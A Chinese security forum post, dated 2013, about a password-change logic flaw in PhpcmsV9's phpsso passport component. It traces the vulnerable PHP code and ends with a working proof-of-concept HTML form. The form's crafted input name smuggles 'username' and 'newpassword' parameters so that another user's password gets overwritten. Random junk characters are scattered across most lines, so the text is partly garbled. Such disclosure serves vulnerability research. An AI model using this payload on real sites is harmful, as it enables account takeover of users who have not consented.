找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2050|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
, |5 B/ K' I1 s: l1 ^: w2 `% ~* g1 d* |- m) @! H0 T0 p7 j2 {

# n6 X1 k2 j! @+ m$ [. W; d. eparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);6 T0 R2 Y. i6 k+ k' p
: ]( ~* }. o! G
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。- S+ |* P2 j4 ^# L% F+ c0 `* U
, e0 G8 T8 h2 G# W* D5 c
我把它留给了你们。
/ c  |4 w, Z4 Q& _. b+ u不知道你们发现了它没有。8 @5 e# L1 w$ L0 K6 F
8 f: H) ?; z+ [9 o
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
5 y7 a) ^- H* X: K' f, }  i9 ~0 s6 n# X- Z% ^, S% Z$ _
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
0 k) `- T) t! g$ r, g
2 Q2 i* g7 {- @' j; `% _" Y0 [也就是
7 a8 O8 ~# a$ \5 a
2 K/ T3 K/ I1 p. G& o( W/ H6 Wusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。) }' A2 g, d7 X
4 q* n1 l- g" c6 v# j# y
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
) m3 e& ]' ~! t7 Z. J" [( V7 w7 {$ ^. N# G
) S* v: |) O' F3 ^+ _6 _
其实我们有这样的机会,看看代码,如下:- G( Z7 I- u3 A, s' D6 \, o- r

) K0 j; e7 |- K3 H" @! `  Z  v* i: O$ z6 G. v" {& Z
public function auth_data($data) {; e% ?7 w6 A4 i. y+ E
                $s = $sep = '';
6 y) l3 p) h% X, i                foreach($data as $k => $v) {& q9 s6 L; k) o2 ^6 ]  T  U8 E
                        if(is_array($v)) {
0 Z- y' j: O2 e/ o0 K  P0 T                                $s2 = $sep2 = '';
/ B3 a) Z& D" c, X  y. Z- h4 k4 f8 R                                foreach($v as $k2 => $v2) {, N! V7 P: S& I- u
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
( v& G: Z, Z- X, J: N2 ]+ g' X                                        $sep2 = '&';" {6 J1 H3 n# B: W( u/ H; y
                                }
7 ?7 A. ]$ K  a& I" k                                $s .= $sep.$s2;
9 N. I4 k' ~1 k1 x9 g( n) }/ |2 t                        } else {
( v. A! N. c9 `; s7 m4 \! ~3 }9 m                                $s .= "$sep$k=".$this->_ps_stripslashes($v);5 j7 C% W7 `  C9 `
                        }! O7 j; g% t  O8 S" Z
                        $sep = '&';% w& _+ `5 i% Y+ N% {4 C2 X
                }& g1 x; k- P, y) Y

" U0 x+ f) M1 J  K' f                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
! Z; ~$ m$ l) l3 n# t; ?* X& V/ B                return $auth_s;
+ w% l. ~7 J; ?4 B5 C        }* }8 W+ v; d0 h+ N# \

5 R4 K. y! s8 z, {2 o8 n) v可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
' q* ^! Y+ C( A3 b; t+ l. I: w9 U+ o5 L7 y
举个例子4 \: L) }. b3 i% ^
5 K) W0 l+ \" q/ l9 n  W, P
$a[aaa=a&bbb] = 'a';4 u& I- J3 |/ t

& r6 I" h; i2 |3 g# A会变成aaa=a&bbb=a6 Q$ o. ?& @7 z0 L9 I* Y, F
( n+ L" S6 x( ]7 g4 ]! i( L; h% w
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。# S5 P* t  x1 g- Q+ [" [; `/ V

5 t0 \! f$ c8 h. h0 Q这个时候,我们可以再去看一个函数。$ w5 A. ?; c! N, O& [7 Q
% d1 p8 |- v7 L. B" v4 _0 P* q
就在这个文件内:% m1 ]6 F0 U; ^' X) o) k3 J
) h8 o  m' ~' F& ]. W0 k" [8 \
+ N4 @8 L# H7 b' g2 [/ D
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
5 o) \: f) J, z9 W/ Y3 _                if($email && !$this->_is_email($email)) {
% c+ Z6 C: K# ^, K9 I# q0 R                        return -4;
1 W1 n9 g& C8 U# n' u                }) S. h/ ], x* }7 h* v
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));. |& x; l0 b4 e/ I8 o/ X6 ~
        }& j5 z: o3 ?' ]) a* b

. q: v4 Q1 Y. O- P4 @! C+ z- Q( o* s这是向通行证发了这样一个请求。
. D/ N! O( [% a4 m
) m" L; r" d5 e- Q8 F我们再跟到通信证代码里去看看,就会有所发现。
( p( F. l9 e' w1 f
0 u3 L9 Q" }7 w4 {& N: Z9 r& E! D% Q& {4 S5 k. _
public function edit() {
3 E* H0 |- {6 a/ R//能省就省,太长了不是吗?. T: a% x* L7 Z5 [
0 ^0 M3 u. {, J# Q% v4 ]* C
if($this->username) {8 K5 a- P" A3 C4 @4 |
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。0 J; M9 R) b  X3 S9 w+ I7 x
                                $res = $this->db->update($data, array('username'=>$this->username));
2 ]4 k  s1 E8 h9 a0 c                        } else {
8 b- v! X1 Y/ ?0 x1 {                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);. U! w7 N0 i4 U- W4 G
                                $res = $this->db->update($data, array('uid'=>$this->uid));" q# G& T7 q+ ?8 ?( v
                        }
( \- P" R3 a5 y$ Z/ Q; c; n% E2 [( D- P' x+ o2 U5 p
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:4 [" b8 h( x" w! _- ~7 `
& _9 u1 A) _* a
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
$ Z- p1 z6 a+ t* a# z
. r- B4 @  i: [9 f5 u% ~# A$ t7 D' Q很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。4 Z7 C6 U: _; g5 A* w2 ~! A# S7 I; l
* s3 j$ W7 {" j5 D; k9 v+ S
我当然找到了:2 Z* h+ O, U. p2 }0 V6 ~
phpcms9/phpcms/modules/member/index.php/ Q# |0 `; w) s. f2 H3 Z) B0 D

* ]1 }  L( A5 H3 l6 \: B" p* B9 X$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
, p8 X( ?, W9 x+ Q. R: |* a' {; a; y% y
然后就没有然后了。
& O; O- N0 ~3 v- F. ]
/ X0 }& ~, ^% v8 R) M- c<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
. m. G( V* q( g* y                                <table width="100%" cellspacing="0" class="table_form">9 C  x3 O, b, I; c7 z
                                        <tr>
% ?( W  Y; Z7 c                                                <th width="80">邮箱:</th>        7 H  F% {9 ~7 B- x
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>- |& w1 y. W, I, E# h
                                        </tr>
. h6 s" ?* |7 ^' @, _  N                                        <tr>
+ N# R. K% r% |2 P1 r) g1 N& a7 |                                                <th width="80">原密码:</th>        * j. H3 S/ F9 I# e
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
% j8 O# v6 }2 [0 |; f; R) Z8 ^8 J                                        </tr>4 ^6 ?6 k% }* G3 ~- C4 K
                                        <tr>, n: _8 c( {7 {0 A2 m1 O
                                                <th>新密码:</th>
) W' j1 k1 I$ @" {                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>7 ?& [. B) M* v1 e1 k
                                        </tr>
% e% t6 k+ E; |: d8 G4 i1 W                                        <th></th>3 o8 z  Z" _& y: C
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
0 m! A8 ^2 T' K% ]% M                                        </tr>) u! ~) |8 z3 t' X5 W; [( v
                                </table>
0 o  h% {" V8 v5 k. y- @5 T, F- k, n( [2 N
                                ; C9 a5 b3 d% I
                        </form>
& I2 a% l: ^4 H; |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表